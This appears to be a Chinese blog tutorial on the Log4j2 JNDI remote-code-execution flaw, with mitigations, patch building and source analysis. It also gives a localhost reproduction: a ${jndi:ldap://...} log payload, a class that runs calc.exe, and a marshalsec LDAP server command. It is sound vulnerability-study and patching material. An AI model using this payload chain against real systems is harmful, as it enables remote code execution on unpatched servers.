目录
文末附加已编译好的log4j2.15.0-rc2的jar包,以及log4j2.14.1的jar包
文末附加已编译好的log4j2.15.0-rc2的jar包,以及log4j2.14.1的jar包
漏洞说明
Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。
此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。“微步在线研究响应中心”做了漏洞复现:
简单来说,就是在打印日志时,如果发现日志内容中包含关键词 ${,那么这个里面包含的内容会当做变量来进行替换,导致攻击者可以任意执行命令。详细漏洞披露可查看:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues
LDAP攻击大致原理:
LDAP攻击向量
攻击过程如下:
1.攻击者为易受攻击的JNDI查找方法提供了一个绝对的LDAP URL
2.服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI 引用
3.服务器解码JNDI引用
4.服务器从攻击者控制的服务器获取Factory类
5.服务器实例化Factory类
6.有效载荷得到执行
详细原理参考:https://cloud.tencent.com/developer/article/1554406
应急处理:
(1)修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
(2)修改配置 log4j2.formatMsgNoLookups=True
(3)将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
复现步骤:
1、通过ide工具创建一个maven 项目,并在pom里面,引用2.X版本的log4j-api,log4j-core,log4j-1.2-api
<dependencies>
<!--log4j2 2.X -> 2.14.1-->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-1.2-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
2、调用logger.error函数
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2Test {
private static final Logger logger = LogManager.getLogger(Log4j2Test.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/#Caculator}");
}
}
3、编译生成服务端调用代码Caculator.class
在另一个目录,构建Caculator.java文件,文件内容如下:
public class Caculator {
static {
try {
System.out.println("invoke method");
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc.exe"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
通过javac命令,编译生成Caculator.class
javac Caculator.java
4、启动tomcat容器,并将Caculator.class保存到webapps/ROOT/目录下
启动完成后,访问127.0.0.1:8090/Caculator,若能跳转到下载页面,则证明能通过tomcat服务器访问到对应的类
5、搭建LDAP服务器
git clone git@github.com:mbechler/marshalsec.git
拉取到源码后,本地编译生成对应的marshalsec-0.0.3-SNAPSHOT-all.jar
然后在对应jar目录执行以下指令,启动LDAP服务器
# #后的类名代表ldap服务定位查找的类名,会去tomcat服务器查询Caculator
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8090/#Caculator"
6、调用测试类
可以看到LDAP获取到了tomcat服务器上的Caculator.class,并序列化后,传输回了客户端
客户端反序列化后,构建了一个Caculator对象,输出了打印的信息,并调起了计算器
修复步骤
在复现了问题过后,该如何修复相应漏洞呢?目前官方已经针对log4j2-2.15.0-rc2版本发布了对应的修复源码,需要用户自行编译对应的jar包。
官方修复漏洞记录:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues
官方提供的补丁源码:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
Log4j 2.X版本如何修复漏洞
上述的修复内容,需要将log4j2版本升级到2.15.0-rc2。但是,很多的用户担心升级后,存在兼容性问题。这里官方明确指出2.13.X到2.15.0是平滑的过度,理论上不存在兼容性的问题。并且,针对2.15.0前的版本也提供了修复方案:只需要删除log4j-core包中的JndiLookup.class文件即可
验证
验证版本log4j:2.14.1
这里,我直接通过压缩软件打开对应的jar包并删除JndiLookup.class后,通过上述漏洞复现案例,并不会触发Jndi的漏洞问题。因此,官方提供的删除依赖的解决方案是有效的。
2.15.0-rc2源码编译方法
参照官方文档:https://logging.apache.org/log4j/2.x/build.html
注意事项:
- 1、确保本地当前Java的环境为Java8,如果本地有个Java环境,请先修改Java环境为Java8,再重启IDEA。
- 2、确保本地有JDK9的环境
- 3、建议跳过
test
步骤,否则安装的时间太长了
首先,下载上述补丁源码
然后修改源码目录的toolchains-sample-win.xml,配置好对应的jdk运行环境目录
然后执行maven命令进行编译安装
mvn clean install -t ./toolchains-sample-win.xml -Dmaven.test.skip=true -f pom.xml
安装成功后,就可以在本地仓库找到对应的jar包。然后通过上述漏洞还原的案例,进行测试,可以发现log4j2直接将注入的jndi信息作为message输出,不会再去请求LDAP服务,获取代码。
源码分析
2.14.1
log4j在输出日志时,会去解析转换对应的message输出格式,在解析时会触发lookup方法去查找${}中需要替换的内容,而在解析处理${}内容的过程中,就可以通过jndi注入的方式,去调用ldap服务,加载远程服务端的代码到本地进行执行
完整调用栈如下图所示:
大致流程如下:
log4j通过messagePatternConverter转化msg的表达式,在解析过程中,会判断是否关闭lookups(通过msg表达式中匹配nolookups字符串),未关闭,则判断${开头的内容,进行查找替换
这里会执行到StrSubstitutor的substitute方法
substitute方法中,会走到一步处理${}内容的方法resolveVariable
在resolveVariable方法中会去调用lookup方法查看替换变量名为variableName的属性
接着就会跳转到JndiLookup的lookup实现函数中(这也是为什么2.14.1删除了JndiLookup类后,就不会出现漏洞情况的发生了)
接下来,就会去调用jdk提供的Naming Service(这里也就是LDAP目录服务)
通过调用jndiManager.lookup方法,就会请求LDAP服务器,检索对应的类名
最后通过LDAP服务器返回来的源码,进行反序列化,执行相应的操作。
Log4j2.15.0做了哪些处理?
个人观点,可能存在一定的错误,望各位指出
主要的区别在于MessagePatternConverter的不同实现
2.15.0版本针对不同的类型构建了不同的Converter,默认是会调用SimpleMessagePatternConverter
在创建消息解析转化的Converter时,会根据msg表达式的内容生成对应的options,而options默认情况下是空的,因此会构建simpleMessagePatternConverter
同时,还通过options匹配是否存在lookups字段,若存在,则开启lookup查找功能,也就会创建LookupMessagePatternConverter(该Converter的format实现会触发jndi的lookup调用)
同时,官方也对开启lookup后,可调用的jndi协议做了相应限制,例如:限制LDAP等
https://gitbox.apache.org/repos/asf?p=logging-log4j2.git;h=d82b47c
具体开启lookup功能方法见官网:
https://github.com/apache/logging-log4j2/blob/master/src/site/asciidoc/manual/configuration.adoc
编译完成的jar包
以下jar包编译方式已在上述编译过程中给出
2.14.1只需替换log4j-core包
链接:https://pan.baidu.com/s/1LYHmrCLrEkuHqoZu5lSYGg
提取码:gw4t
2.15.0提供了log4j-core,log4j-api,log4j-slf4j-impl
链接:https://pan.baidu.com/s/1E4x9G2KbHhHT7aeCxh2G_w
提取码:ixg3